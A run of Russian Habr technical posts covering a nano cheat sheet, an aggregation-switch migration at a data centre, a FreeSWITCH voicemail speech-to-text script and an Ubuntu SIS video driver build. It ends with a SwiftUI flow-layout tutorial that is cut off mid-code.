Ports required by plexmediaserver and Deezloader.
```
Добавим свежеиспеченную службу plexdeez в firewalld и перезапустим его
```
sudo firewall-cmd --add-service=plexdeez --permanent
sudo firewall-cmd --reload
```
Проходим регистрацию по адресу [app.plex.tv](https://app.plex.tv/). Переходим по ip:32400/web логинимся под своим новеньким аком. Добавляем библиотеку Музыка указываем каталог ~/Music/Deezloader. Радуемся свежей музыке ) | https://habr.com/ru/post/431312/ | null | ru | null |
# Nano: И всё-таки его придётся выучить [3]
Заканчиваем. Предыдущие части: [[1](https://habrahabr.ru/post/106471/)], [[2](https://habrahabr.ru/post/106554/)]. Комбинации для запоминания: undo/redo, поиск/замена.
В конце топика — ссылка на PDF'ку c обобщённой шпаргалкой и её исходник (на картинке скриншот редактора).
Отмена действий по-умолчанию не работает и требует запуска редактора с опцией «поддержка отмены» (да, nano по-умолчанию не поддерживает undo). Ключ командной строки -u.
nano -u sometext.
После этого начинают работать команды:
**`Alt-U`** — undo
**`Alt-E`** — redo.
Заметим, что в справке (Ctrl-G) оно появляется тоже, только если запустить nano с опцией -u.
Если nano запущен без -u, то единственной формой undo является отмена вырезанных по `Ctrl-K` строк обратным их вставлением — `Ctrl-U`.
С поиском чуть лучше.
поиск — **`Ctrl-W`** Хотя заявлена поддержка регэкспов, мне её не удалось добиться, так что поиск просто по подстроке.
Повторный поиск (без появления диалога) — **`Alt-W`**
Замена **`Ctrl-\`**
Повторной замены нет, так как при замене выдаётся запрос «да/нет, отмена, всё».
Многобуфферность (возможность иметь несколько открытых файлов).
Включается командой `**Alt-F**`. После этого работают кнопки **`Alt-<`** и **`Alt->`** (или они же без шифта: Alt-., Alt-, (альт точка, альт запятая)).
Последняя фича: возможность вводить текст по коду: `**Esc 255**` — вставляет заданный десятичный код (255), а для ввода младших кодов ASCII можно использовать комбинацию `**Alt-V**` нужная кнопка, например, Alt-V Ctrl-Z.
Пожалуй, на этом редактор можно считать освоенным, остальные его фичи (изменение отступа для абзаца, выравание для абзаца и т.д.) уже не нужны для комфортной работы в аварийной ситуации. | https://habr.com/ru/post/106748/ | null | ru | null |
# История одного переключения
У нас в агрегации локальной сети было шесть пар коммутаторов Arista DCS-7050CX3-32S и одна пара коммутаторов Brocade VDX 6940-36Q. Не то, чтобы нас сильно напрягали коммутаторы Brocade в этой сети, они работают и выполняют свои функции, но мы готовили полную автоматизацию некоторых действий, а этих возможностей мы на этих коммутаторах не имели. А еще хотелось перейти с 40GE интерфейсов на возможность использования 100GE, чтобы сделать запас на следующие 2-3 года. Так мы решили поменять Brocade на Arista.
Эти коммутаторы являются коммутаторами агрегации локальной сети для каждого дата-центра. К ним подключаются непосредственно коммутаторы дистрибьюции (второй уровень агрегации), которые уже собирают в себе коммутаторы Top-of-Rack локальной сети в стойках с серверами.
[](https://habrastorage.org/webt/wr/_k/mn/wr_kmn_mxcbk5pzlszif5fwpmmy.jpeg)
Каждый сервер включен в один или два коммутатора доступа. Коммутаторы доступа подключены к паре коммутаторов дистрибьюции (два коммутатора дистрибьюции и два физических линка от коммутатора доступа к разным коммутаторам дистрибьюции используются для резервирования).
Каждый сервер может быть использован своим клиентом, так что клиенту выделяется отдельный VLAN. Этот же VLAN потом прописывается на другой сервер этого клиента в любой стойке. Дата-центр состоит из нескольких таких рядов (POD’ов), для каждого ряда стоек есть свои коммутаторы дистрибьюции. Потом эти коммутаторы дистрибьюции подключаются в коммутаторы агрегации.
[](https://habrastorage.org/webt/oc/2p/r5/oc2pr5parnr_c3-m4s1fswgxlcm.jpeg)
Клиенты могут заказать сервер в любом ряду, заранее предсказать, что сервер будет выделен или установлен в какой-то конкретный ряд в какую-то конкретную стойку, нельзя, поэтому на коммутаторах агрегации присутствует около 2500 VLAN в каждом дата-центре.
Оборудование для DCI (Data-Center Interconnect) подключается к коммутаторам агрегации. Оно может предназначаться для L2-связности (пара коммутаторов, образующая VXLAN-туннель в другой дата-центр), так и для L3-связности (два MPLS-маршрутизатора).
[](https://habrastorage.org/webt/eh/2a/pg/eh2apgb0jx6excyolzu7hlqwwiy.jpeg)
Как я уже писал, для унификации процессов автоматизации конфигурации услуг на оборудовании в одном дата-центре потребовалось заменить центральные коммутаторы агрегации. Мы установили новые коммутаторы рядом с существующими, объединили их в MLAG пару и стали готовиться к работам. Их сразу соединили с существующими коммутаторами агрегации, так что у них стал общий L2-домен по всем клиентским VLAN.
Детали схемы
------------
Для конкретики назовём старые коммутаторы агрегации **А1** и **А2**, новые — **N1** и **N2**. Представим, что в **POD 1** и **POD 4** размещены серверы одного клиента **С1**, VLAN клиента обозначен синим цветом. Этот клиент использует услугу L2-связности с другим дата-центром, поэтому его VLAN подан на пару коммутаторов VXLAN.
Клиент **С2** размещает серверы в **POD 2** и **POD 3**, VLAN клиента обозначаем темно-зелёным цветом. Этот клиент тоже использует услугу связности с другим дата-центром, но L3, так что его VLAN подан на пару L3VPN маршрутизаторов.
[](https://habrastorage.org/webt/pl/tx/8t/pltx8tm018xdgys6sbk08dng6_w.jpeg)
Клиентские VLAN нам нужны для понимания, на каких этапах работ по замене что происходит, где появляется перерыв связи, и какая может быть его продолжительность. Протокол STP в этой схеме не используется, так как ширина дерева для него в таком случае получается большой, и сходимость протокола вырастает в геометрической прогрессии от количества устройств и линков между ними.
Все устройства, соединённые двойными линками, образуют стек, MLAG-пару или VCS- Ethernet-фабрику. Для пары L3VPN маршрутизаторов подобные технологии не используются, так как нет необходимости резервирования L2, достаточно того, чтобы у них была L2 связность друг с другом через коммутаторы агрегации.
Варианты реализации
-------------------
При анализе вариантов дальнейших событий мы поняли, что есть несколько способов провести эти работы. От глобального перерыва на всей локальной сети, до небольших буквально 1-2 секундных перерывов в частях сети.
### Сеть, стоять! Коммутаторы, заменяйтесь!
Самый простой способ — это, конечно, объявить глобальный перерыв связи по всем POD и по всем услугам DCI и переключить все линки из коммутаторов **А** в коммутаторы **N**.
[](https://habrastorage.org/webt/oe/ru/gj/oerugjzsi4pdh1lqcnu5bxyzlra.jpeg)
Помимо перерыва, время которого мы не можем гарантированно предсказать (да, мы знаем количество линков, но не знаем, сколько раз что-то пойдет не так — от заломанного патч-корда или поврежденного коннектора до неисправности порта или трансивера), мы еще не можем заранее предугадать, хватит ли длины патч-кордов, DAC, AOC, подключенных в старые коммутаторы А, чтобы дотянуть их до, хоть и стоящих рядом, но все равно чуть-чуть в стороне, новых коммутаторов N, и заработают ли те же самые трансиверы/DAC/AOC из коммутаторов Brocade в коммутаторах Arista.
И всё это в условиях жесткого прессинга со стороны клиентов и техподдержки («Наташ, вставай! Наташ, там всё не работает! Наташ, мы уже написали в техподдержку, честно-честно! Наташ, там уже всё уронили! Наташ, а сколько ещё не будет работать? Наташ, а когда заработает?!»). Даже несмотря на заранее объявленный перерыв и сделанное оповещение по клиентам, наплыв обращений в такое время гарантирован.
### Стой, 1-2-3-4!
А если не объявлять глобальный перерыв, а объявить серию маленьких перерывов связи по POD и услугам DCI. В первый перерыв переключить в коммутаторы **N** только **POD 1**, во второй — через пару дней — **POD 2**, потом еще через пару дней **POD 3**, далее **POD 4…[N]**, потом VXLAN-коммутаторы и потом L3VPN-маршрутизаторы.
[](https://habrastorage.org/webt/dg/1n/8o/dg1n8oei0wx04clgnk2a0emzu-o.jpeg)
При такой организации работ по переключению мы уменьшаем сложность единовременных работ и увеличиваем себе время на решение проблем, если что-то вдруг пошло не так. Связность POD 1 после переключения с другими POD и DCI не теряется. Но сами работы затягиваются надолго, на время этих работ в дата-центре требуется выделение инженера на физическое выполнение переключений, и во время работ (а такие работы выполняются, как правило, ночью, с 2 до 5 утра) требуется наличие онлайн сетевого инженера довольно высокой квалификации. Но зато мы получаем короткие перерывы связи, как правило, работы могут проводиться в интервале получаса с перерывом до 2 минут (на практике, зачастую 20-30 секунд при ожидаемом поведении оборудования).
В приведённом примере клиента **С1** или клиента **С2** придется предупреждать о работах с перерывом связи как минимум три раза — первый раз для проведения работ по одному POD, в котором находится один его сервер, во второй раз — по второму, и в третий раз — при переключении оборудования для DCI услуг.
Переключение агрегированных каналов связи
-----------------------------------------
Почему мы говорим про ожидаемое поведение оборудования, и как могут с минимизированием перерыва связи переключаться агрегированные каналы. Представим следующую картину:
[](https://habrastorage.org/webt/s0/g5/4b/s0g54bkj-ujiumk0egmyp7ookv0.jpeg)
С одной стороны линка — коммутаторы дистрибьюции POD — **D1** и **D2**, они образуют между собой MLAG-пару (стек, VCS-фабрику, vPC-пару), с другой стороны два линка — **Link 1** и **Link 2** — включены в MLAG-пару старых коммутаторов агрегации **А**. На стороне коммутаторов **D** сформирован агрегированный интерфейс с названием **Port-channel A**, на стороне коммутаторов агрегации **А** — агрегированный интерфейс с названием **Port-channel D**.
Агрегированные интерфейсы в своей работе используют LACP, то есть, коммутаторы с двух сторон регулярно обмениваются LACPDU-пакетами по обоим линкам, чтобы убедиться, что линки:
* рабочие;
* включены в одну пару устройств на удалённой стороне.
При обмене пакетами в пакете передается значение **system-id**, обозначающее устройство, куда эти линки включены. Для MLAG-пары (стека, фабрики и т. п.) значение system-id для устройств, образующих агрегированный интерфейс, одинаково. Коммутатор **D1** отправляет в **Link 1** значение **system-id D**, и коммутатор **D2** отправляет в **Link 2** значение **system-id D**.
Коммутаторы **А1** и **А2** анализируют LACPDU-пакеты, полученные по одному интерфейсу Po D, и проверяют совпадение system-id в них. Если полученный по какому-то линку system-id вдруг будет отличаться **от текущего рабочего значения**, то этот линк выводится из состава агрегированного интерфейса до исправления ситуации. Сейчас у нас на стороне коммутаторов **D** текущее значение system-id от LACP-партнёра — **A**, а на стороне коммутаторов **А** — текущее значение system-id от LACP-партнёра — **D**.
> **При необходимости переключения агрегированного интерфейса мы можем поступить двумя различными способами:**
**Способ 1 — Простой**
**Отключить оба линка из коммутаторов A**. При этом агрегированный канал не работает.
[](https://habrastorage.org/webt/4x/y3/1f/4xy31fons85dmc1xqmyoatx3cok.jpeg)
Включить оба линка по очереди в коммутаторы **N**, тогда заново произойдет согласование параметров работы LACP, формирование интерфейса **Po D** на коммутаторах **N** и передача на линках значения **system-id N**.
[](https://habrastorage.org/webt/9o/-x/d2/9o-xd2p6oyk3x_yxroz_tlh6hbc.jpeg)
**Способ 2 — Минимизация перерыва**
**Отключить из коммутатора А2 линк Link 2**. При этом трафик между **А** и **D** продолжит передаваться просто по одному из линков, который останется в составе агрегированного интерфейса.
[](https://habrastorage.org/webt/hw/u-/zy/hwu-zy2rypxofaqv9llskenulbm.jpeg)
**Подключить Link 2 в коммутатор N2**. На коммутаторе **N** уже настроен агрегированный интерфейс **Po DN**, и коммутатор **N2** начнет передавать в LACPDU **system-id N**. На этом этапе мы можем уже проверить, что коммутатор **N2** корректно работает с трансивером, использующимся для **Link 2**, что порт подключения перешёл в состояние **Up**, и что при передаче LACPDU не возникает ошибок на порту подключения.
[](https://habrastorage.org/webt/cw/cy/st/cwcysth25wi_quoldhjghlysgx8.jpeg)
Но тот факт, что коммутатор **D2** для агрегированного интерфейса **Po A** со стороны **Link 2 получает значение system-id N, отличное от текущего рабочего значения system-id A**, не позволяет коммутаторам **D** ввести **Link 2** в состав агрегированного интерфейса **Po A**. Коммутатор **N** не может ввести **Link 2** в работу, так как он не получает подтверждения о работоспособности от LACP-партнёра коммутатора **D2**. Трафик в итоге по **Link 2** не передается.
**А теперь мы выключаем Link 1 из коммутатора A1**, тем самым лишая коммутаторы **А** и **D** работающего агрегированного интерфейса. Таким образом, на стороне коммутатора **D** пропадает текущее рабочее значение system-id для интерфейса **Po A**.
[](https://habrastorage.org/webt/me/uw/8u/meuw8uq0g5lglbxkt6qwbdiodtg.jpeg)
Это позволяет коммутаторам **D** и **N** договориться об обмене system-id **A-N** на интерфейсах **Po A** и **Po DN**, так что трафик начинает передаваться по линку **Link 2**. Перерыв в данном случае составляет, на практике, до 2 секунд.
[](https://habrastorage.org/webt/rj/zs/ai/rjzsai50lw8dbbxbk0ntlicofoa.jpeg)
**А теперь мы спокойно переключаем Link 1 в коммутатор N1**, восстанавливая емкость и уровень резервирования интерфейсов **Po A** и **Po DN**. Так как при подключении этого линка не изменяется текущее значение system-id ни с одной стороны, то перерыва не происходит.
[](https://habrastorage.org/webt/vd/8_/3c/vd8_3cszxwsxtwdcrewohql3arg.jpeg)
### Дополнительные линки
Но переключение можно выполнить без присутствия инженера в момент переключения. Для этого нам потребуется заранее проложить дополнительные линки между коммутаторами дистрибьюции **D** и новыми коммутаторами агрегации **N**.
[](https://habrastorage.org/webt/du/sb/3h/dusb3hcwgnj_rt8kgkusiitltdk.jpeg)
Мы прокладываем новые линки между коммутаторами агрегации **N** и коммутаторами дистрибьюции всех POD. Это требует заказа и прокладки дополнительных патч-кордов, и установки дополнительных трансиверов как в **N**, так и в **D**. Мы можем это сделать, так как у нас в коммутаторах **D** каждого POD есть свободные порты (или мы их предварительно освобождаем). **В итоге каждый POD физически подключен двумя линками к старым коммутаторам А и к новым коммутаторам N.**
[](https://habrastorage.org/webt/32/wj/m-/32wjm-s5ehe6o1vlkvtrhcpn_mq.jpeg)
На коммутаторе **D** сформировано два агрегированных интерфейса — **Po A** с линками **Link 1** и **Link 2**, и **Po N** — с линками **Link N1** и **Link N2**. На этом этапе мы проверяем правильность подключения интерфейсов и линков, уровни оптических сигналов на обоих концах линков (посредством DDM-информации с коммутаторов), можем даже проверить работоспособность линка под нагрузкой или помониторить состояния оптических сигналов и температуры трансиверов в течение пары дней.
Трафик по-прежнему передается через интерфейс **Po A**, а интерфейс **Po N** стоит без трафика. Настройки на интерфейсах примерно такие:
```
Interface Port-channel A
Switchport mode trunk
Switchport allowed vlan C1, C2
Interface Port-channel N
Switchport mode trunk
Switchport allowed vlan none
```
Коммутаторы D, как правило, поддерживают сессионное изменение конфигурации, используются такие модели коммутаторов, которые имеют этот функционал. Так что изменение настроек интерфейсов Po A и Po N мы можем сделать в один приём:
```
Configure session
Interface Port-channel A
Switchport allowed vlan none
Interface Port-channel N
Switchport allowed vlan C1, C2
Commit
```
Тогда изменение конфигурации произойдет достаточно быстро, и перерыв составит, на практике, не больше 5 секунд.
Такой способ позволяет нам выполнить все подготовительные работы заранее, осуществить все необходимые проверки, согласовать работы с участниками процесса, детально спрогнозировать действия по производству работ, без полётов творчества, когда «всё пошло не так», и иметь под рукой план возврата к предыдущей конфигурации. Работы по этому плану производятся сетевым инженером без присутствия на месте инженера дата-центра, который физически осуществляет переключения.
Что ещё важно при таком способе переключений — все новые линки уже заранее поставлены на мониторинг. Ошибки, включение линков в агрегат, загрузка линков — вся необходимая информация уже в системе мониторинга, и это уже отрисовано на картах.
D-Day
-----
### POD
Мы выбрали наименее болезненный для клиентов и наименее склонный к вариантам «что-то пошло не так» путь переключений с дополнительными линками. Так мы за пару ночей переключили все POD на новые коммутаторы агрегации.
[](https://habrastorage.org/webt/lm/c0/oa/lmc0oafevg5twt9amzd2thudqgm.jpeg)
Но осталось переключить оборудование, обеспечивающее услуги DCI.
### L2
В случае оборудования, обеспечивающего L2-связность, мы не смогли провести аналогичные работы с дополнительными линками. Причин у этого как минимум две:
* Отсутствие свободных портов нужной скорости на VXLAN-коммутаторах.
* Отсутствие функционала сессионного изменения конфигурации на VXLAN-коммутаторах.
Переключение линков «по одному» с перерывом только на время согласования новой пары system-id мы не стали производить, так как 100% уверенности в том, что процедура пройдет корректно, у нас не было, а тест в лаборатории показал, что в случае, если «что-то идёт не так», мы все равно получаем перерыв связи, и что самое страшное — не только для клиентов, имеющих L2-связность с другими дата-центрами, но и вообще для всех клиентов этого дата-центра.
Мы загодя провели агитационную работу по переходу с L2 каналов, поэтому количество клиентов, затрагиваемых работами на VXLAN-коммутаторах, было уже в несколько раз меньше, чем год назад. В итоге мы решились на перерыв связи по услуге L2-связности при условии, что мы сохраняем нормальную работу услуг локальной сети в одном дата-центре. К тому же SLA на данную услугу предусматривает возможность проведения плановых работ с перерывом.
### L3
Почему мы рекомендовали всем перейти на использование L3VPN при организации услуг DCI? Одна из причин — это возможность проведения работ на одном из маршрутизаторов, предоставляющих эту услугу, просто со снижением уровня резервирования до N+0, без перерыва связи.
Рассмотрим схему предоставления услуги более пристально. В этой услуге L2 сегмент идет от клиентских серверов только до L3VPN маршрутизаторов Selectel. На маршрутизаторах терминируется клиентская сеть.
Каждый сервер клиента, например, **S2** и **S3** в приведенной схеме, имеют свои приватные IP-адреса — **10.0.0.2/24 у сервера S2** и **10.0.0.3/24 у сервера S3**. Адреса **10.0.0.252/24** и **10.0.0.253/24** назначены со стороны Selectel на маршрутизаторы **L3VPN-1** и **L3VPN-2**, соответственно. IP-адрес **10.0.0.254/24 является VRRP VIP адресом** на маршрутизаторах Selectel.
> **Более подробно про услугу L3VPN можно [прочитать](https://habr.com/ru/company/selectel/blog/436648/) в нашем блоге.**
До момента переключения всё выглядело примерно, как на схеме:
[](https://habrastorage.org/webt/lu/z9/_l/luz9_l1950pk5r3vr5hrn-tdnss.jpeg)
Два маршрутизатора **L3VPN-1** и **L3VPN-2** были подключены к старому коммутатору агрегации **А**. Мастером для VRRP VIP адреса 10.0.0.254 является маршрутизатор **L3VPN-1**. У него выставлен приоритет на данный адрес выше, чем у маршрутизатора **L3VPN-2**.
```
unit 1006 {
description C2;
vlan-id 1006;
family inet {
address 10.0.0.252/24 {
vrrp-group 1 {
priority 200;
virtual-address 10.100.0.254;
preempt {
hold-time 120;
}
accept-data;
}
}
}
}
```
Сервер S2 для связи с серверами в других локациях использует шлюз 10.0.0.254. Таким образом, отключение от сети маршрутизатора L3VPN-2 (естественно, при предварительном его отключении из MPLS-домена) не влияет на связность серверов клиента. В этот момент просто снижается уровень резервирования схемы.
[](https://habrastorage.org/webt/gj/oi/sk/gjoiskqum4kmknfm8u36cf5v44w.jpeg)
После этого мы можем спокойно переподключать маршрутизатор **L3VPN-2** к паре коммутаторов **N**. Проложить линки, поменять трансиверы. Логические интерфейсы маршрутизатора, от которых зависит работа клиентских услуг, до момента подтверждения, что всё функционирует как надо, являются выключенными.
После проверок линков, трансиверов, уровней сигналов, уровней ошибок на интерфейсах, маршрутизатор включается в работу, но уже подключенным к новой паре коммутаторов.
[](https://habrastorage.org/webt/jb/dh/cs/jbdhcsuakuma1fofufzc-pp0poy.jpeg)
Дальше мы снижаем VRRP-приоритет у маршрутизатора L3VPN-1, и VIP адрес 10.0.0.254 перемещается на маршрутизатор L3VPN-2. Эти работы также производятся без перерыва связи.
[](https://habrastorage.org/webt/ix/uq/lq/ixuqlq5wx5veluojqgpwfy8yewu.jpeg)
Перенос VIP адреса 10.0.0.254 на маршрутизатор **L3VPN-2** позволяет отключить маршрутизатор **L3VPN-1** без перерыва связи для клиента и подключить его уже к новой паре коммутаторов агрегации **N**.
[](https://habrastorage.org/webt/lx/vo/jv/lxvojv_hiozuurqfsyonclwjez4.jpeg)
Возвращать VRRP VIP на маршрутизатор L3VPN-1 или нет — это уже другой вопрос, да и если возвращать, то это делается без перерыва связи.
Итого
-----
После всех этих действий мы действительно заменили коммутаторы агрегации в одном из наших дата-центров, минимизировав при этом перерывы для наших клиентов.
[](https://habrastorage.org/webt/fw/d1/jx/fwd1jxarjvfl1agcko-4fhezx7s.jpeg)
Дальше остается только демонтаж. Демонтаж старых коммутаторов, демонтаж старых линков между коммутаторами А и D, демонтаж трансиверов от этих линков, исправление мониторинга, исправление схем сети в документации и мониторинге.
Коммутаторы, трансиверы, патч-корды, AOC, DAC оставшиеся после переключений, мы можем использовать в других проектах или при других подобных переключениях.
«Наташ, мы всё переключили!» | https://habr.com/ru/post/498368/ | null | ru | null |
# Голосовая почта и качественный скачок услуги благодаря Google (FreeSWITCH edition)
При использовании современных телефонных платформ услуга голосовой почты стала настолько привычной и востребованной, что разработчики «софтовых» АТС создают модули голосовой почты, производители «железных» АТС создают целые платы голосовой почты, а операторы связи предлагают ее как услугу. Все, как говорится, просто и понятно. Не дозвонился до абонента, система тебя переадресует на голосовую почту и предлагает оставить сообщение. Далее есть несколько вариантов — абоненту высылается оповещение (чаще это письмо) о том что оставлено голосовое сообщение, мол — зайди в систему и послушай. В более продвинутом варианте на почту сразу приходит файл с записью, что позволяет не теряя времени на посещение интерфейса системы — сразу из письма прослушать файл. Но можно сделать услугу еще удобнее и качественнее.
Повысить качество услуги, на мой взгляд, можно присылая голосовую почту ТЕКСТОМ, aka speech-to-text. Немного предыстории. На [форуме FreeSWITCH](http://freeswitchforum.com/viewtopic.php?f=6&t=91) были выложены скрипты для Asterisk использующие Google speech api для распознавания речи с просьбой их модифицировать под FreeSWITCH. Я взял за основу скрипт, написанный на bash. Авторства, к сожалению, не знаю, поэтому сначала приведу скрипт без изменения:
```
#!/bin/sh
echo "1 SoX Sound Exchange - Convert WAV to FLAC with 16000"
sox $1 message.flac pad .1 0 rate 16k
echo "2 Submit to Google Voice Recognition"
wget -q -U "Mozilla/5.0" --post-file message.flac --header="Content-Type: audio/x-flac; rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=en-us&client=chromium" > message.ret
echo "3 SED Extract recognized text"
cat message.ret | sed 's/.*utterance":"//' | sed 's/","confidence.*//' > message.txt
echo "4 Remove Temporary Files"
rm message.flac
# rm message.ret
echo "5 Show Text "
cat message.txt
```
Этот скрипт я немного переделал под свои нужды, положил в папку /usr/local/freeswitch/scripts/ и в итоге он выглядит так:
```
#!/bin/sh
cd /usr/local/freeswitch/scripts/
sox tmp.wav message.flac pad .1 0 rate 16k > /dev/null 2>&1
wget -q -U "Mozilla/5.0" --post-file message.flac --header="Content-Type: audio/x-flac; rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=ru-RU&client=chromium" > message.ret
cat message.ret | sed 's/.*utterance":"//' | sed 's/","confidence.*//' >> messages.log
cat message.ret | sed 's/.*utterance":"//' | sed 's/","confidence.*//' | iconv -f UTF8 -t KOI8-U | mutt -x -s "new voice mail" -- moya_pochta@domen.ru
rm message.flac
rm tmp.wav
rm message.ret
```
В двух словах — в скрипте мы берем запись с именем tmp.wav, преобразуем во FLAC и отправляем в Google. Также сообщаем Гуглу, что хотим распознать русскую речь (хотя, если говорить на английском с нормальным произношением, то и текст приходит на английском). В ответ нам приходит сообщение вида {«status»:0,«id»:«4ee1ad1a44f3cfbb58341972dd008e9c-1»,«hypotheses»:[{«utterance»:«перезвоню позже»,«confidence»:0.43928865}]}
С помощью sed вытаскиваем текст сообщения, сохраняем его в лог и отправляем его на почту.
Для дальнейшего улучшения скрипта можно обратить внимание на confidence (коэффициент уверенности Google в качестве распознания) и отправлять его тоже на почту. Также или при низком confidence или в любом случае прикреплять к письму еще и вложение — файл записи. Это можно сделать с помошью опции "-a" для mutt, но советую предварительно сконвертировать файл в mp3.
Для записи же сообщения tmp.wav от позванившего абонента и последующего выполнения скрипта в нужный контекст плана набора FreeSWITCH я внес следующие строчки xml кода:
```
```
Немного комментариев по приведенному куску плана набора FreeSWITCH. С помощью api\_hangup\_hook мы говорим FreeSITCH'у какой скрипт выполнить, после того как звонок завершится. Далее отвечаем на вызов и воспроизводим приветствие, после чего активируем запись в файл /usr/local/freeswitch/scripts/tmp.wav
После того как FreeSWITCH записал сообщение в файл tmp.wav и завершил телефонное соединение — вызывается скрипт /usr/local/freeswitch/scripts/s2t.sh, о котором я писал чуть выше.
Вот таким вот нехитрым способом можно, во-первых, облегчить себе жизнь, во-вторых, значительно сократить время обработки голосовых сообщений. Оцените насколько быстро (и даже не открывая письма) вы видите, о чем шла речь в сообщениях в интерфейсе mail.ru:
 | https://habr.com/ru/post/149750/ | null | ru | null |
# Устанавливаем видеодрайвер для видеокарт семейства SIS M671/M672 под Ubuntu 11.04
От переводчика, т.е. меня:
Я потратил достаточно много времени на то, чтобы заставить корректно работать видеокарту на моем ASUS K50C. Все решения, которые находились поисковиками, были расчитаны на релиз X-Server'а более ранний (1.8), чем тот, что в Natty Narwhal (1.10). В конце концов я нашел запись на одном из забугорных блогов. И это решение сработало!
Надеюсь мой перевод кому-нибудь поможет потратить время на что-то более полезное.
Итак: как поставить видеодрайвер для видеокарт семейства SIS M671/M672 под Ubuntu 11.04
Как вы знаете, новый релиз X-Server вышел всего пару дней назад, и он уже включен в состав Ubuntu 11.04.
Так вот: этот драйвер будет корректно работать на Ubuntu 11.04, проверено!
Установка несколько отличается от ранних вариантов. Старый драйвер надо было просто скопировать в папку /usr/lib/xorg/modules/drivers/ и настроить xorg.conf, а сейчас вы должны собрать его и настроить самостоятельно. Хотя есть и положительный момент: с xorg.conf не придется возиться заново.
Я полагаю, что вы уже знаете как собирать и устанавливать и имеете для этого все необходимое.
Вот список того, что понадобится:
— git
— xorg-dev
— mesa-common-dev
— libdrm-dev
— libtool
Я забыл имена остальных пакетов, просто напомните мне их и я добавлю остальные -dev пакеты.
Исходники (драйвера, прим.перев.) уже пропатчены мной и вам не требуется их патчить. Папка с патчем доступна всем кто хочет помочь в поддержке актуальности драйвера в будущем.
Ну, давайте откроем терминал и начнем сборку:
`$ git clone git://github.com/hellnest/xf86-video-sismedia-0.9.1.git
$ cd xf86-video-sismedia-0.9.1
$ ./configure --prefix=/usr --disable-static
$ make
$ sudo make install`
Перезагрузка и готово!
Небольшой комментарий для пользователей с разрешением 1366х768:
Вам потребуется добавить в xorg.conf эти строки (конечно, если их там еще нет):
`Section "Device"
Identifier "Configured Video Device"
Option "UseTiming1366" "yes"
EndSection
Section "Monitor"
Identifier "Configured Monitor"
EndSection
Section "Screen"
Identifier "Default Screen"
Monitor "Configured Monitor"
Device "Configured Video Device"
EndSection`
Ок, на этом всё. Я надеюсь, что вам понравится этот релиз (драйвера, прим.перев.).
Еще раз спасибо Paulo Zaunoni за этот патч. Я действительно многим вам обязан.
upd: Спасибо всем, кто в q&a на мой вопрос о карме отозвался помощью :)
upd2: [Решение](http://forum.ubuntu.ru/index.php?topic=132992) под X-Server 1.8 (Ubuntu 10.10 и ранее)
upd3: Благодаря хабражителю [GamePad64](http://gamepad64.habrahabr.ru/) организован [PPA](http://launchpad.net/~gamepad64/+archive/sismedia) на данный драйвер, а значит установка стала еще проще! | https://habr.com/ru/post/116380/ | null | ru | null |
# Создание пользовательского (индивидуального) макета в SwiftUI. Основы
В настоящее время SwiftUI предоставляет протокол Layout, позволяющий нам создавать суперпользовательские (сверхиндивидуальные мне кажется здесь больше подходит) макеты, копаясь в системе компоновки без использования GeometryReader. Протокол Layout дает нам невероятную силу создания и повторного использования любого макета, который вы можете себе представить. На этой неделе мы узнаем, как использовать новый протокол Layout для создания макета потока в SwiftUI.
Любой макет, который вы хотите создать, должен соответствовать новому Layout протоколу. Для реализации у него есть две необходимые функции.
```
@available(iOS 16.0, macOS 13.0, tvOS 16.0, watchOS 9.0, *)
public protocol Layout : Animatable {
func sizeThatFits(
proposal: ProposedViewSize,
subviews: Subviews,
cache: inout Self.Cache
) -> CGSize
func placeSubviews(
in bounds: CGRect,
proposal: ProposedViewSize,
subviews: Subviews,
cache: inout Self.Cache
)
}
```
1. Функция sizeThatFits должна вычислить и вернуть окончательный размер вашего макета.
2. Функция placeSubviews должна размещать сабвью в соответствии с вашими правилами компоновки.
Сегодня мы начнем изучать протокол Layout, реализуя flow layout (схема или макет потока) в SwiftUI. Flow layout обычно ведет себя как HStack, но он отбрасывает линию, как только вью заполняют доступное горизонтальное пространство.
Давайте начнем с расчета окончательного размера нашего flow layout. Он должен произвести итерацию по всем сабвью и суммировать ширину данных вью до тех пор, пока у нас не появится доступное пространство по горизонтали. Как только мы достигнем конца этого пространства, мы должны обозначить внизу линию расположения и продолжить размещать новые вью от этой линии.
```
struct FlowLayout: Layout {
func sizeThatFits(proposal: ProposedViewSize, subviews: Subviews, cache: inout ()) -> CGSize {
let sizes = subviews.map { $0.sizeThatFits(.unspecified) }
var totalHeight: CGFloat = 0
var totalWidth: CGFloat = 0
var lineWidth: CGFloat = 0
var lineHeight: CGFloat = 0
for size in sizes {
if lineWidth + size.width > proposal.width ?? 0 {
totalHeight += lineHeight
lineWidth = size.width
lineHeight = size.height
} else {
lineWidth += size.width
lineHeight = max(lineHeight, size.height)
}
totalWidth = max(totalWidth, lineWidth)
}
totalHeight += lineHeight
return .init(width: totalWidth, height: totalHeight)
}
}
```
В примере выше у нас есть реализация функции sizeThatFits. Эта функция предоставляет несколько интересных параметров, которые мы будем использовать для расчета окончательного размера нашего макета. Первый - это ProposedViewSize, предоставляющий нам размер, который предлагает родитель. Второй - это экземпляр класса с типом Subviews, который является прокси-экземпляром для коллекции сабвью, позволяющий нам размещать и измерять размер данных вью.
Мы используем экземпляр прокси (\*с полномочиями) Subviews для итерации всех дочерних элементов и расчета их идеальных размеров с помощью функции sizeThatFits. Он принимает параметр, позволяющий нам получить его минимальные, максимальные и идеальные размеры. В приведенном выше примере мы используем параметр unspecified (неуказанный), который означает идеальный размер. Но вы также можете использовать экземпляры zero и infinity, чтобы получить его минимальный и максимальный размер соответственно.
После расчета идеальных размеров для всех вью, мы проходим по ним, чтобы рассчитать общую ширину и высоту окончательного макета. Мы применяем параметр ProposedViewSize, чтобы понять ширину, которую предоставляет нам родительский вью, - так мы узнаем, когда нам нужно бросить линию макета потока.
Наконец, мы создаем и возвращаем окончательный размер макета потока, используя все знания, которые предоставляет нам система компоновки SwiftUI. Теперь мы можем перейти к деталям реализации функции placeSubviews.
```
struct FlowLayout: Layout {
func placeSubviews(in bounds: CGRect, proposal: ProposedViewSize, subviews: Subviews, cache: inout ()) {
let sizes = subviews.map { $0.sizeThatFits(.unspecified) }
var lineX = bounds.minX
var lineY = bounds.minY
var lineHeight: CGFloat = 0
for index in subviews.indices {
if lineX + sizes[index].width > (proposal.width ?? 0) {
lineY += lineHeight
lineHeight = 0
lineX = bounds.minX
}
subviews[index].place(
at: .init(
x: lineX + sizes[index].width / 2,
y: lineY + sizes[index].height / 2
),
anchor: .center,
